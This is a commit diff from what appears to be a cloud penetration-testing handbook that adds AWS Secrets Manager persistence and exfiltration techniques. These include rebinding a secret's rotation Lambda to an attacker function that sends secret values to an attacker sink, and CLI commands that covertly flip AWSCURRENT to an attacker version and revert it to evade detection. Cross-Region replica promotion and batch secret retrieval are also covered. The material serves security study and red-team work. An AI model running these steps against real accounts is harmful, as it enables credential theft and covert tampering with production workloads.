You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+193Lines changed: 193 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -55,3 +55,196 @@ def generate_password():
55
55
56
56
57
57
58
+
59
+
### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
60
+
61
+
Abuse `secretsmanager:RotateSecret` to rebind a secret to an attacker-controlled rotation Lambda and trigger an immediate rotation. The malicious function exfiltrates the secret versions (AWSCURRENT/AWSPENDING) during the rotation steps (createSecret/setSecret/testSecret/finishSecret) to an attacker sink (e.g., S3 or external HTTP).
62
+
63
+
- Requirements
64
+
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
65
+
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
66
+
67
+
- Impact
68
+
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
69
+
70
+
- Attack steps (CLI)
71
+
1) Prepare attacker sink and Lambda role
72
+
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
73
+
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
# Minimal rotation (optional): copy current->pending and promote in finishSecret
106
+
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
107
+
```
108
+
109
+
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
110
+
111
+
Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.
- Maintain a hidden, attacker-controlled version of a secret and atomically flip `AWSCURRENT` to it on demand, influencing any consumer resolving the same secret name. The flip and quick revert reduce the chance of detection while enabling time-of-use compromise.
119
+
120
+
- Attack steps (CLI)
121
+
- Preparation
122
+
-`export SECRET_ID=<target secret id or arn>`
123
+
124
+
<details>
125
+
<summary>CLI commands</summary>
126
+
127
+
```bash
128
+
# 1) Capture current production version id (the one holding AWSCURRENT)
# 4) On-demand flip to the attacker’s value and revert quickly
157
+
aws secretsmanager update-secret-version-stage \
158
+
--secret-id "$SECRET_ID" \
159
+
--version-stage AWSCURRENT \
160
+
--move-to-version-id "$BACKTOK" \
161
+
--remove-from-version-id "$CUR"
162
+
163
+
# Validate served plaintext now equals the attacker payload
164
+
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
165
+
166
+
# Revert to reduce detection
167
+
aws secretsmanager update-secret-version-stage \
168
+
--secret-id "$SECRET_ID" \
169
+
--version-stage AWSCURRENT \
170
+
--move-to-version-id "$CUR" \
171
+
--remove-from-version-id "$BACKTOK"
172
+
```
173
+
174
+
</details>
175
+
176
+
- Notes
177
+
- When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
- In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`.
187
+
- An attacker principal (user/role) to receive read access to the promoted secret.
188
+
189
+
- Impact
190
+
- Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
62
+
63
+
Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. This can dramatically reduce API-call volume compared to iterating GetSecretValue per secret. If filters are used (tags/name), ListSecrets permission is also required. CloudTrail still records one GetSecretValue event per secret retrieved in the batch.
64
+
65
+
Required permissions
66
+
- secretsmanager:BatchGetSecretValue
67
+
- secretsmanager:GetSecretValue for each target secret
68
+
- secretsmanager:ListSecrets if using --filters
69
+
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
70
+
71
+
> [!WARNING]
72
+
> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
Copy file name to clipboardExpand all lines: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
-10Lines changed: 0 additions & 10 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -36,10 +36,6 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi
36
36
-**AWS reserves the first three host IP addresses** of each subnet **for****internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
37
37
- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the:
@@ -50,12 +46,6 @@ Route tables determine the traffic routing for a subnet within a VPC. They deter
50
46
- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
51
47
- VPC endpoints (to access S3 from private networks)
52
48
53
-
In the following images you can check the differences in a default public network and a private one:
**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.
0 commit comments